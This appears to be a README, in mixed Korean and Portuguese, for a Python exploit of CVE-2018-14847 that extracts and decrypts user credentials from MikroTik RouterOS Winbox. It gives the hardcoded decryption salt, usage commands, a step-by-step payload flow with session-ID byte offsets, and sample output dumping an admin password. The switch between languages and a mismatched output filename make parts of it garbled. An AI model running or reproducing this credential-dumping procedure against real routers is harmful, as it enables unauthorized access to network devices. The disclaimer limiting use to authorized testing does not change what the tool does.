
CVE-2018-14847 취약 - MIKROTIK 자격 증명 추출 (PYTHON)
네트워크 감사 및 침투 테스트용 스크립트 저장소입니다. 공식 승인을 받은 기기에서만 사용하십시오.
MikroTik RouterOS의 Winbox 서비스에서 인증되지 않은 파일 읽기 취약점을 악용합니다.
파일 핸들러(핸들러 ID 2)가 인증을 검증하지 않아, 외부 공격자가 기기의 모든 사용자와
비밀번호가 담긴 user.dat 파일을 읽을 수 있습니다.
비밀번호는 MD5(사용자 + "283i4jfkai3389") 키를 사용한 XOR로 암호화되어 저장됩니다.
스크립트가 자동으로 복호화를 수행합니다.
| Branch | 취약한 버전 | 수정된 버전 |
|---|---|---|
| Stable | 6.42 | 6.42.1 |
| Long-term | 6.40.7 | 6.40.8 |
| RC | 6.42 | 6.43 |
python3 cve_2018_14847.py <IP>
python3 cve_2018_14847.py <IP> --port 8291
# 포트 8291의 기본 대상
python3 cve_2018_14847.py 192.168.1.1
# 사용자 지정 포트
python3 cve_2018_14847.py 192.168.1.1 --port 8291
1. Conecta na porta 8291 (Winbox)
↓
2. Envia FIRST_PAYLOAD — abre sessão + solicita /flash/rw/store/user.dat
↓
3. Extrai Session ID do byte 38 da resposta
↓
4. Injeta Session ID no byte 19 do SECOND_PAYLOAD
↓
5. Envia SECOND_PAYLOAD — lê o arquivo user.dat
↓
6. Parseia entradas M2 → extrai usuário e senha cifrada
↓
7. Descriptografa senha: XOR com MD5(usuario + salt)
↓
8. Exibe credenciais e salva em arquivo
═══════════════════════════════════════════════════════
CVE-2018-14847 — MikroTik Winbox Credential Dump
Unauthenticated File Read + Password Decryption
Afetado: RouterOS 6.29 – 6.42 (< 6.40.8 / 6.42.1)
═══════════════════════════════════════════════════════
Alvo : 192.168.1.1:8291
Data : 2026-05-20 18:06:58
[*] Conectando em 192.168.1.1:8291 ...
[+] Conectado ao serviço Winbox.
[*] Enviando payload 1 (requisição de arquivo) ...
[+] Resposta recebida (84 bytes). Session ID: 0x35
[*] Enviando payload 2 (leitura do user.dat) ...
[+] Dados recebidos (312 bytes).
[*] Analisando user.dat (257 bytes úteis) ...
═══════════════════════════════════════════════════════
CREDENCIAIS EXTRAÍDAS
═══════════════════════════════════════════════════════
Usuário : admin
Senha : senha123
Combo : admin:senha123
───────────────────────────────────────────────────────
[+] 1 credencial(is) encontrada(s).
[+] Resultado salvo em: mikrotik_1192.168.1.1_20260520_180658.txt
결과는 자동으로 다음 파일에 저장됩니다:
mikrotik_<IP>_<TIMESTAMP>.txt
예: mikrotik_192.168.1.1_20260520_180658.txt
내용: 대상 IP, 날짜, CVE, 영향을 받는 버전 및 모든 사용자:비밀번호 쌍.
/rede/
├── README.md # este arquivo
├── cve_2018_14847.py # MikroTik Winbox Credential Extractor
├── pentest_cgnat_100.64.0.0.md # relatório de pentest CGNAT
├── pentest_roteador_192.168.2.1.md # relatório de pentest roteador
└── mikrotik_<IP>_<TIMESTAMP>.txt # resultados gerados pelo script
법적 고지: 이 도구들은 승인된 환경에서만 사용해야 합니다. 제3자 시스템에 대한 무단 실행은 Lei 12.737/2012(카롤리나 디크만 법) 및 브라질 형법 제154-A조에 따라 범죄에 해당합니다.